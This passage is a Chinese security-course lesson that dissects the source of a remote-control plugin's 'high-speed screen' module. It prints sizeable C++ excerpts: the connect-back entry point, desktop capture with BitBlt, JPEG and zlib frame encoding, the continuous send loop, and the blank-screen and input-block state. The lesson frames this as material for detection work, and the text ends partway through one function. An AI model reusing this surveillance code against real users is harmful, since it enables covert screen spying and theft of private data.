31 / 52 主插件与远程能力

第 31 课:主插件:高速屏幕

# 第 31 课:主插件:高速屏幕

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只从安全工程角度阅读 主插件\高速屏幕。屏幕采集能力可以用于合法远程协助,但也可能暴露客户资料、聊天内容、浏览器页面、会议画面、凭据输入过程和业务系统操作。因此本课不讲如何使用远程屏幕能力,不讲控制步骤,不讲规避检测,只讲源码结构、数据链路、风险点和企业检测方法。

# 屏幕类专栏导读:三种当前桌面屏幕模式

第 24、25、26 课应放在一起读。它们都围绕“当前桌面/显示器画面采集”展开,但解决问题的方式不同:

专栏 模式 数据形态 更适合的合法场景 防御侧关注点
第 31 课:高速屏幕 当前桌面高频采集 首帧 + 后续 JPEG/zlib 帧 授权远程协助、运维排障、需要较快看到桌面变化的场景 高频 BitBlt、JPEG/zlib、长连接、剪贴板和控制命令
第 32 课:差异屏幕 当前桌面差异传输 首帧全量 + 后续变化块 带宽有限、画面变化较少、需要降低传输量的合法远程查看场景 双缓冲、差异比较、小包长连接、周期性图形采集
第 33 课:娱乐屏幕 当前桌面视频流 BGRA/ARGB -> I420 -> H.264 NAL 长时间、连续、类似视频流的屏幕共享或演示场景 libyuv、x264、三线程队列、视频编码和持续上行

三者的共同点是都从当前桌面或显示器画面取数据,并把画面编码后发送;不同点是编码策略和传输形态。高速屏幕偏“快速发图”,差异屏幕偏“只发变化”,娱乐屏幕偏“视频流”。第 29 课的后台桌面与后台窗口不属于这三种当前桌面模式,它多了 Windows 桌面对象、后台 GUI 环境和窗口打印式采集。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 高速屏幕、差异屏幕、娱乐屏幕三种当前桌面屏幕模式的差异和适用场景。
  2. 为什么它叫“高速屏幕”:连续循环、变化扫描、JPEG 内存编码、zlib 封包和 FPS 节流如何共同服务低延迟。
  3. CScreenQuickManagerCScreenSpy 的分工。
  4. 首帧、后续帧、位图信息、屏幕尺寸各自解决什么问题。
  5. 高速屏幕使用的是哪个 JPEG 库,以及为什么要引入 libjpeg-turbo。
  6. BitBltDIBSection、JPEG、zlib 和 TOKEN_* 如何构成屏幕数据链。
  7. 命令面里哪些能力属于高风险,例如屏蔽输入、黑屏、剪贴板和远程控制事件。
  8. 企业如何从图形 API、压缩库、持续上行流量和隐私权限中建立检测。

# 2. 源码目录和文件

路径 作用
主插件\高速屏幕\高速屏幕.sln 高速屏幕插件解决方案
主插件\高速屏幕\高速屏幕\高速屏幕.cpp 插件入口、socket 初始化、管理器创建
主插件\高速屏幕\高速屏幕\ScreenQuickManager.h 管理器类、命令处理、发送接口
主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp 帧发送、命令分发、工作线程、控制线程
主插件\高速屏幕\高速屏幕\ScreenSpy.h 屏幕采集类定义
主插件\高速屏幕\高速屏幕\ScreenSpy.cpp GDI 采集、JPEG 编码、变化区域扫描
主插件\高速屏幕\高速屏幕\CursorInfo.h 光标信息辅助
主插件\高速屏幕\高速屏幕\turbojpeg.hjpeglib.h JPEG 编码相关依赖

依赖说明: 本课涉及 Windows GDI、JPEG 编码库和 zlib 压缩。GDI 负责从桌面设备上下文取图,jpeglib.h/turbojpeg.h 负责把位图压缩成 JPEG,zlib 负责进一步压缩发送数据。单独使用这些库并不等于风险,关键是它们和 BitBlt、持续工作线程、TOKEN_* 发送、长连接组合在一起。后续代码注释会把采集源、压缩出口和网络出口写在对应片段里。

# 2.1 JPEG 使用的是哪个库

高速屏幕这里使用的是 libjpeg-turbo 提供的 libjpeg 兼容接口。判断依据有两个:

  1. ScreenSpy.h 里包含的是 jpeglib.h,源码调用的是 jpeg_compress_structjpeg_mem_destjpeg_set_qualityjpeg_write_scanlines 这一组 libjpeg API。
  2. 同一个头文件里通过 #pragma comment(lib, "...") 链接的是 turbojpeg_32_* / turbojpeg_64_* 静态库或导入库。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:1-19
// 防御分析注释:
// 1. 代码包含 jpeglib.h,说明业务代码走的是 libjpeg API 风格。
// 2. 但链接库名是 turbojpeg_*,说明实际依赖来自 libjpeg-turbo。
// 3. 这里没有直接调用 tjCompress2 这类 TurboJPEG API,而是使用兼容的 jpeg_* 函数。
// 4. 检测时不要只搜 tjCompress2,也要关注 jpeg_mem_dest、jpeg_write_scanlines 等函数。
#include "jpeglib.h"

#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "turbojpeg_64_d.lib")
#else
#pragma comment(lib, "turbojpeg_64_r.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "turbojpeg_32_d.lib")
#else
#pragma comment(lib, "turbojpeg_32_r.lib")
#endif
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

为什么要引入这个库?原因主要有三点:

原因 对源码的意义 防御侧观察
屏幕原始位图太大 32 位桌面像素直接发送会占用大量带宽 BitBlt 后紧跟 JPEG 编码
需要内存编码 jpeg_mem_dest 可以把 JPEG 输出到内存,不必先保存文件 没有图片落盘也可能发生屏幕泄露
支持 BGRA/BGR 扩展 JCS_EXT_BGRA 能接近 Windows DIBSection 的像素布局 图形采集和 JPEG 编码可以直接衔接

libjpeg-turbo 本身是常见合法图像库。风险来自组合关系:BitBlt 持续采集桌面,DIBSection 暴露像素内存,libjpeg-turbo 把像素压成 JPEG,zlib 再压缩封包,最后通过长连接持续上行。企业检测要看这条链路,而不是把某个 JPEG 库单独视为恶意。

这个插件的主线可以概括成:

插件入口 -> 网络连接 -> CScreenQuickManager -> CScreenSpy -> GDI 采集 -> JPEG/zlib 压缩 -> TOKEN_* 发送

2.1 JPEG 使用的是哪个库(配图)

# 3. 高速屏幕和普通截图的区别:为什么叫“高速屏幕”

普通截图通常是一次性动作:采集一张图,保存或展示。高速屏幕插件更接近“远程屏幕流”:

对比项 普通截图 高速屏幕插件
触发方式 用户主动或定时 会话建立后持续循环
数据形态 单张图片 首帧 + 后续帧
发送方式 本地保存或上传 持续封包发送
风险面 单次隐私泄露 持续隐私泄露和远程操控
检测重点 截图 API 图形 API + 编码压缩 + 长连接

这里的“高速”不是说它一定能稳定跑到很高 FPS,也不是说画质一定最好,而是说它的源码设计目标偏向“尽快把当前桌面变化送出去”。新手可以从五个代码特征理解这个命名:

代码特征 为什么体现“高速” 防御侧怎么看
WorkThread 进入 while (m_bIsWorking) 循环 会话打开后反复调用 sendNextScreen(),不是单次截图 看持续线程、持续图形 API、持续上行
ScanChangedRect(TRUE) 扫描变化区域 后续帧不总是整屏发送,而是把变化矩形打包 看周期性小包和变化区域元数据
BMP_JPG(..., &bitstream) 内存 JPEG 编码 直接在内存里把屏幕像素压成图像数据,避免先落盘 看 JPEG 编码函数和高熵二进制流
compress(...) 再做 zlib 压缩封包 发送前继续压缩,降低每帧传输体积 看 zlib 与图形采集、网络发送的组合
SetFps() / m_dwSleep 控制节奏 用休眠控制帧间隔,避免完全无节制循环 看是否存在可远程调整的采集频率

所以,本课说的“高速屏幕”可以理解为:面向低延迟远程查看的快速图像帧链路。它和第 32 课“差异屏幕”的区别是,差异屏幕更强调“尽量少传变化字节”;它和第 33 课“娱乐屏幕”的区别是,娱乐屏幕把屏幕当视频流,用 H.264 做帧间压缩。高速屏幕则更像“快速抓图、快速压缩、快速发包”的折中方案。

因此,防御侧不能只搜“截图函数”。它还要看帧率、变化扫描、压缩、网络、控制命令和剪贴板行为。

# 4. 插件入口:连接成功后创建屏幕管理器

入口结构和前面几个主插件类似:按配置创建 TCP/UDP socket,连接成功后创建管理器,并进入事件循环。

// 源码位置:主插件\高速屏幕\高速屏幕\高速屏幕.cpp:8-43
// 防御分析注释:连接成功后创建 CScreenQuickManager。
// 屏幕采集和网络连接绑定,是企业检测中的重要关联点。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("127.0.0.1"),
    6666,
    1,
    0
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CScreenQuickManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这里最重要的不是 127.0.0.16666 这些示例配置,而是“连接成功后进入屏幕采集管理器”这个行为模型。

# 5. CScreenQuickManager:会话层状态机

CScreenQuickManager 负责三件事:

  1. 初始化屏幕采集对象。
  2. 接收命令并调整采集参数。
  3. 循环发送位图信息、屏幕尺寸、首帧和后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:12-32
// 防御分析注释:
// 1. CScreenQuickManager 是高速屏幕会话层,连接建立后就会创建。
// 2. m_fps 默认是 1,但后面可通过 COMMAND_SCREEN_FPS_QUICK 调整。
// 3. CScreenSpy 真正负责屏幕采集,管理器负责把采集结果封包发送。
// 4. WorkThread 是“高速屏幕”名字的核心证据之一:它会持续发送后续帧。
// 5. ControlThread 不采集画面,但维护黑屏、输入屏蔽、分辨率变化等高风险状态。
CScreenQuickManager::CScreenQuickManager(ISocketBase* pClient) : CManager(pClient)
{
    // m_biBitCount 决定位图位深。这里默认 32 位,和后续 JPEG 的 BGRA 输入对应。
    m_biBitCount = 32;

    // m_fps 影响 CScreenSpy::SetFps() 里的帧间休眠。
    // 从防御角度看,可被远端命令改变的采集频率是屏幕流的重要线索。
    m_fps = 1;

    // 创建屏幕采集对象。后续 BitBlt、DIBSection、JPEG 编码都在这个对象内完成。
    m_pScreenSpy = new CScreenSpy(32);

    // m_bIsWorking 控制 WorkThread 的 while 循环。
    // 它为 true 时,sendNextScreen() 会不断被调用。
    m_bIsWorking = true;

    // 这几个状态本身不是截图所需,而是远程控制类能力的风险信号。
    m_bIsBlankScreen = false;
    m_bIsBlockInput = false;
    m_bIsCaptureLayer = false;

    // 获取桌面 DC 和虚拟屏幕尺寸,用于判断后续是否发生分辨率变化。
    m_hDeskTopDC = GetDC(GetDesktopWindow());
    m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
    m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);

    // 默认算法是 COMMAND_SCREEN_ALGORITHM_HOME,后续会走 JPEG + 变化矩形链路。
    m_bAlgorithm = COMMAND_SCREEN_ALGORITHM_HOME;

    // 工作线程负责“发屏幕帧”,控制线程负责“维护控制状态”。
    // 两条线程同时出现,是持续远程屏幕会话而非一次性截图的证据。
    m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL);
    m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

这段代码的安全信号应直接跟源码读:new CScreenSpy(32) 初始化屏幕采集对象,GetDC(GetDesktopWindow()) 获取桌面设备上下文,WorkThread 长期发送屏幕帧,ControlThread 维护黑屏、输入屏蔽和分辨率变化状态,m_fps 则会影响网络传输频率。

# 6. 帧发送时序:先描述数据链,再看函数

高速屏幕不是直接“抓一张图发走”。它先发送位图信息,再发送尺寸,然后发首帧,最后循环发后续帧。

6. 帧发送时序:先描述数据链,再看函数(配图)

源码对应的工作线程:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:221-241
// 防御分析注释:
// 1. WorkThread 是高速屏幕的帧发送主循环。
// 2. 它先发送 BITMAPINFO 和尺寸,让主控端知道如何解释后续像素数据。
// 3. sendFirstScreen() 建立首帧基线,sendNextScreen() 进入持续更新。
// 4. while 循环没有业务动作完成即退出的语义,说明它是会话型屏幕流。
unsigned CScreenQuickManager::WorkThread(LPVOID lparam)
{
    CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;

    // 第一步:发送位图头。没有它,接收端无法知道像素格式、位深和尺寸解释方式。
    pThis->sendBITMAPINFO();

    // 第二步:等待主控端窗口准备好。
    // 防御侧可以把它理解为“远程查看窗口打开后才开始持续出图”。
    if (pThis->m_bIsWorking)
        pThis->WaitForDialogOpen();

    // 第三步:发送虚拟屏幕位置和宽高。
    pThis->sendsize();

    // 第四步:发送首帧。首帧通常比后续帧更大,用于初始化远端画面。
    pThis->sendFirstScreen();
    pThis->m_bIsWorking = true;

    // 第五步:持续发送后续帧。
    // “高速”的关键就在这里:采集、压缩、发送会被连续重复执行。
    while (pThis->m_bIsWorking)
    {
        pThis->sendNextScreen();
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

这段逻辑说明:如果企业侧看到未知进程持续调用屏幕采集 API,并且网络侧出现稳定上行数据,不应只看某一帧,而要看连续会话。

# 7. 位图信息和屏幕尺寸:主控渲染前的基础数据

sendBITMAPINFO 发送位图头,sendsize 发送屏幕坐标和尺寸。主控端没有这些元数据,就无法正确解释后续帧。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:140-163
// 防御分析注释:
// 1. BITMAPINFO 和屏幕尺寸不是画面内容,而是屏幕流的“解释说明书”。
// 2. 元数据小包后跟随大量压缩帧,是远程屏幕类协议的常见形态。
void CScreenQuickManager::sendBITMAPINFO()
{
    // 实际源码函数名是 getBitmapInfoSize() / getBitmapInfo()。
    // TOKEN_BITMAPINFO_QUICK 告诉接收端:后面的字节是位图头。
    DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize();
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_BITMAPINFO_QUICK;
    memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1);
    Send(lpBuffer, dwBytesLength);
    SAFE_DELETE_AR(lpBuffer);
}

void CScreenQuickManager::sendsize()
{
    RECT m_rect;

    // iScreenX / iScreenY 是虚拟屏幕左上角。
    // 多显示器或缩放场景下,这两个值可能不是 0。
    m_rect.left = m_pScreenSpy->iScreenX;
    m_rect.top = m_pScreenSpy->iScreenY;

    // right / bottom 在这里存放宽高,不是传统 RECT 的右下绝对坐标。
    // 读源码时要结合接收端解析方式理解。
    m_rect.right = m_pScreenSpy->m_nFullWidth;
    m_rect.bottom = m_pScreenSpy->m_nFullHeight;

    LPBYTE lpBuffer = new BYTE[sizeof(RECT) + 1];
    lpBuffer[0] = TOKEN_SIZE_QUICK;
    memcpy(lpBuffer + 1, &m_rect, sizeof(RECT));
    Send(lpBuffer, sizeof(RECT) + 1);
    SAFE_DELETE_AR(lpBuffer);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

防御侧可以把这类元数据包作为屏幕流识别线索:小包先出现,随后进入压缩图像数据流。

# 8. 首帧与后续帧:屏幕流的核心出口

首帧通常用于初始化远端画面,后续帧用于更新变化内容。高速屏幕插件在发送前会进行压缩。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:165-219
// 防御分析注释:
// 1. 首帧和后续帧都会经过“采集 -> zlib 压缩 -> TOKEN 封包 -> Send”。
// 2. dwBytes 是压缩前长度,destLen 是 zlib 压缩后长度。
// 3. 包内保留 dwBytes,是为了让接收端知道解压后的原始大小。
// 4. 这里不落盘,说明屏幕数据从采集到发送都在内存里完成。
void CScreenQuickManager::sendFirstScreen()
{
    DWORD dwBytes = 0;

    // getFirstScreen() 返回的是已经被 CScreenSpy 组织好的首帧缓冲区:
    // [算法标识][JPEG 全屏数据]。具体结构在 ScreenSpy.cpp 里形成。
    LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);
    if (dwBytes == 0 || lpFirstScreen == NULL)
        return;

    // zlib 官方建议目标缓冲区略大于源缓冲区。
    // 防御侧可关注 compress 与屏幕采集 API 的同进程关联。
    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];

    if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];

    // TOKEN_FIRSTSCREEN_QUICK 标识首帧。
    // 后面 4 字节保存解压后的原始长度,再后面是 zlib 压缩数据。
    lpBuffer[0] = TOKEN_FIRSTSCREEN_QUICK;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}

void CScreenQuickManager::sendNextScreen()
{
    DWORD dwBytes = 0;

    // getNextScreen() 不是简单返回整屏截图。
    // 它会写入算法、光标位置、光标类型,并扫描变化矩形。
    LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
    if (dwBytes == 0 || !lpNetScreen)
        return;

    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];

    if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];

    // TOKEN_NEXTSCREEN_QUICK 标识后续帧。
    // 高频出现该 token 时,应结合 BitBlt/JPEG/zlib/外联做关联分析。
    lpBuffer[0] = TOKEN_NEXTSCREEN_QUICK;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, (const char*)pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

这里要抓住执行顺序:

  1. CScreenSpy 产生屏幕数据。
  2. compress 做 zlib 压缩。
  3. 前面加令牌和原始长度。
  4. 通过 socket 发送。

# 9. CScreenSpy:真正接触屏幕的类

CScreenSpy 负责屏幕设备上下文、内存位图、位图头、光标信息、JPEG 压缩和变化区域扫描。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:21-60
// 防御分析注释:
// 1. ScreenSpy 是真正接触桌面像素的类。
// 2. 它持有桌面 DC、内存 DC、DIBSection 像素指针和变化缓冲区。
// 3. 这些成员本身可用于合法图像处理,但和长连接、TOKEN 发送组合后风险显著升高。
class CScreenSpy
{
public:
    // 首帧:通常用于接收端初始化完整画面。
    LPVOID getFirstScreen(LPDWORD lpdwBytes);

    // 后续帧:写入光标信息和变化矩形,降低每次发送的数据量。
    LPVOID getNextScreen(LPDWORD lpdwBytes);

    // 位图元数据。接收端需要根据它解释像素格式。
    LPBITMAPINFO getBitmapInfo();
    UINT getBitmapInfoSize();

    // 调整编码算法、分层窗口捕获、帧率和 JPEG 质量。
    void setAlgorithm(int bAlgorithm);
    void setCaptureLayer(bool bIsCaptureLayer);
    bool SwitchInputDesktop();
    void SendUALITY(UINT UALITY);
    void SetFps(int nfps);

public:
    // m_hDeskTopDC:桌面图像来源。
    // m_hLastMemDC / m_hCurrMemDC:上一帧和当前帧,用于比较变化区域。
    // m_hRectMemDC:单个变化矩形的临时编码区域。
    HDC m_hDeskTopDC, m_hLastMemDC, m_hCurrMemDC, m_hRectMemDC;

    // DIBSection 让 GDI 位图和进程内存缓冲关联起来。
    // m_lpvLastBits / m_lpvCurrBits 会被 ScanChangedRect() 逐像素比较。
    HBITMAP m_hLastBitmap, m_hCurrBitmap;
    LPVOID m_lpvLastBits, m_lpvCurrBits;

    LPBITMAPINFO m_lpbmi_full, m_lpbmi_rect;

    // m_changedBuffer 是最终交给管理器压缩发送的缓冲区。
    LPBYTE m_changedBuffer;
    UINT m_changedOffset;

    // 这些私有工具函数负责构造位图头、写发送缓冲、复制变化块和 JPEG 编码。
    LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight);
    void WriteChangedBuffer(LPBYTE lpData, int nCount);
    void CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize);
    int BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

从安全角度看,CScreenSpy 不是普通图像处理类。它持有桌面 DC 和内存位图,持续把桌面画面变成可传输数据。

# 10. 屏幕采集与压缩管线

高速屏幕的数据管线可以画成这样:

10. 屏幕采集与压缩管线(配图)

对应源码先初始化设备上下文和 DIB:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:22-75
// 防御分析注释:
// 1. 构造函数准备桌面 DC、内存 DC、DIBSection 和变化缓冲。
// 2. 这类初始化在截图/录屏/远程协助中都可能出现,不能单点定性。
// 3. 如果同进程随后持续 JPEG/zlib 压缩并外联发送,风险等级会上升。
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
    // biBitCount 决定位图位深。默认 32 位时,后续 JPEG 输入按 BGRA 处理。
    m_biBitCount = biBitCount;

    if (!SelectInputWinStation())
    {
        // 获取当前桌面窗口和桌面 DC,后续 BitBlt 从这里取像素。
        m_hDeskTopWnd = GetDesktopWindow();
        m_hDeskTopDC = GetDC(m_hDeskTopWnd);
    }

    // SRCCOPY 表示普通源像素复制;开启 CAPTUREBLT 时可尝试包含分层窗口。
    m_dwBitBltRop = SRCCOPY;

    // m_dwSleep 是帧间最小间隔,用于控制发送节奏。
    m_nMaxFrameRate = nMaxFrameRate;
    m_dwSleep = 1000 / nMaxFrameRate;

    // DPI 缩放会影响屏幕尺寸换算。这里把逻辑分辨率转换到桌面实际分辨率。
    HDC hdc = GetDC(NULL);
    int client_width_now = GetDeviceCaps(hdc, HORZRES);
    int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES);
    fDpiRatio = (float)client_width_old / (float)client_width_now;
    ReleaseDC(NULL, hdc);

    m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio);
    m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);

    // 两个内存 DC 分别保存上一帧和当前帧。
    // 这就是后续变化矩形扫描的基础。
    m_hLastMemDC = ::CreateCompatibleDC(m_hDeskTopDC);
    m_hCurrMemDC = ::CreateCompatibleDC(m_hDeskTopDC);
    m_hRectMemDC = ::CreateCompatibleDC(m_hDeskTopDC);

    m_lpbmi_full = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);
    m_lpbmi_rect = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);

    // DIBSection 会把 GDI 位图映射到进程可读写内存。
    // m_lpvLastBits / m_lpvCurrBits 后续会被直接比较。
    m_hLastBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULL, NULL);
    m_hCurrBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvCurrBits, NULL, NULL);

    ::SelectObject(m_hLastMemDC, m_hLastBitmap);
    ::SelectObject(m_hCurrMemDC, m_hCurrBitmap);

    // 变化缓冲区最终会被 sendFirstScreen/sendNextScreen 做 zlib 压缩并发送。
    m_changedBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
    m_changedOffset = 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

再看首帧和后续帧:

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:94-170
// 防御分析注释:
// 1. BitBlt 是这里的屏幕采集核心 API。
// 2. getFirstScreen() 建立首帧,getNextScreen() 建立持续变化帧。
// 3. 两者都写入 m_changedBuffer,随后由管理器层 zlib 压缩并发送。
LPVOID CScreenSpy::getFirstScreen()
{
    // 每次采集前切到当前输入桌面,避免线程仍停留在旧桌面对象。
    SelectInputWinStation();

    // 重置输出缓冲区;后面所有 WriteChangedBuffer 都从头写。
    m_changedOffset = 0;

    // 第 1 字节写算法标识。接收端需要先知道后面的帧数据如何解释。
    BYTE algorithm = (BYTE)m_bAlgorithm;
    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));

    // 把整个虚拟屏幕复制到“上一帧”内存位图。
    // 首帧不做矩形比较,因为接收端还没有基线画面。
    ::BitBlt(m_hLastMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
        m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);

    if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)
    {
        void* bitstream = NULL;
        int bitstreamlen = BMP_JPG(m_nFullWidth, m_nFullHeight,
            m_biBitCount, m_SendUALITY, m_lpvLastBits, &bitstream);

        // 首帧直接写入整屏 JPEG 数据。
        if (bitstreamlen > 0)
            WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);

        if (bitstream)
            free(bitstream);
    }

    return m_changedBuffer;
}

LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    SelectInputWinStation();
    m_changedOffset = 0;

    BYTE algorithm = (BYTE)m_bAlgorithm;
    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));

    // 后续帧先写光标位置。远端渲染时可以把光标状态同步过去。
    POINT CursorPos;
    GetCursorPos(&CursorPos);
    CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x);
    CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y);
    CursorPos.x -= iScreenX;
    CursorPos.y -= iScreenY;
    WriteChangedBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 再写光标类型。光标变化本身也可能暴露用户当前操作状态。
    BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteChangedBuffer(&bCursorIndex, sizeof(BYTE));

    // 把当前桌面复制到“当前帧”位图。
    ::BitBlt(m_hCurrMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
        m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);

    if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)
    {
        // 扫描当前帧和上一帧的差异矩形,并把变化区域编码进 m_changedBuffer。
        ScanChangedRect(TRUE);
    }

    *lpdwBytes = m_changedOffset;

    // 通过 m_dwSleep 做帧率节流。
    // 这说明“高速”不是无限循环,而是在可调帧率内持续采集。
    while (GetTickCount() - m_dwLastCapture < m_dwSleep)
        Sleep(10);
    InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());

    return m_changedBuffer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

这里的检测线索是:

线索 含义
GetDesktopWindow + GetDC 获取桌面画面来源
CreateCompatibleDC 创建内存设备上下文
CreateDIBSection 为位图像素建立内存缓冲
BitBlt 把桌面画面复制到内存
GetCursorPos 同步光标状态
JPEG / zlib 压缩图像后发送

# 11. 变化矩形和 JPEG 编码:高速链路如何减少传输量

高速屏幕不是每次都把完整桌面当原始位图发送。首帧建立完整画面,后续帧先扫描当前帧和上一帧的差异,再把变化矩形单独编码为 JPEG。这样做有两个直接效果:

  1. 屏幕变化少时,后续帧可以比整屏帧小很多。
  2. 接收端只要把变化矩形贴回原画面,就能看到连续更新。

这也是它叫“高速屏幕”的重要原因:它不是追求最高压缩率,而是用较轻的变化扫描和 JPEG 编码,在低延迟和带宽之间做折中。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:321-407
// 防御分析注释:
// 1. ScanChangedRect() 比较上一帧和当前帧,找出变化区域。
// 2. CopyChangedRect() 把每个变化矩形复制出来并编码成 JPEG。
// 3. 缓冲区格式大致是:[算法][光标位置][光标类型][变化块...]
// 4. 每个变化块包含 JPEG 长度、JPEG 数据和 RECT 坐标。
BOOL CScreenSpy::ScanChangedRect(BOOL bCopyChangedRect)
{
    LPDWORD p1, p2;
    RECT changedRect;
    HRGN hRgnChanged = NULL, hRgnCombine;

    // DEF_YSTEP / DEF_XSTEP 让扫描按步长进行,避免逐像素全量处理过重。
    // 这是一种速度优先的取舍:快,但变化区域可能会被扩张。
    for (int y = m_nScanLine; y < m_nFullHeight; y += DEF_YSTEP)
    {
        // p1 指向上一帧,p2 指向当前帧。
        // 两帧都来自 DIBSection,因此可以直接按内存比较。
        p1 = (LPDWORD)((LPBYTE)m_lpvLastBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);
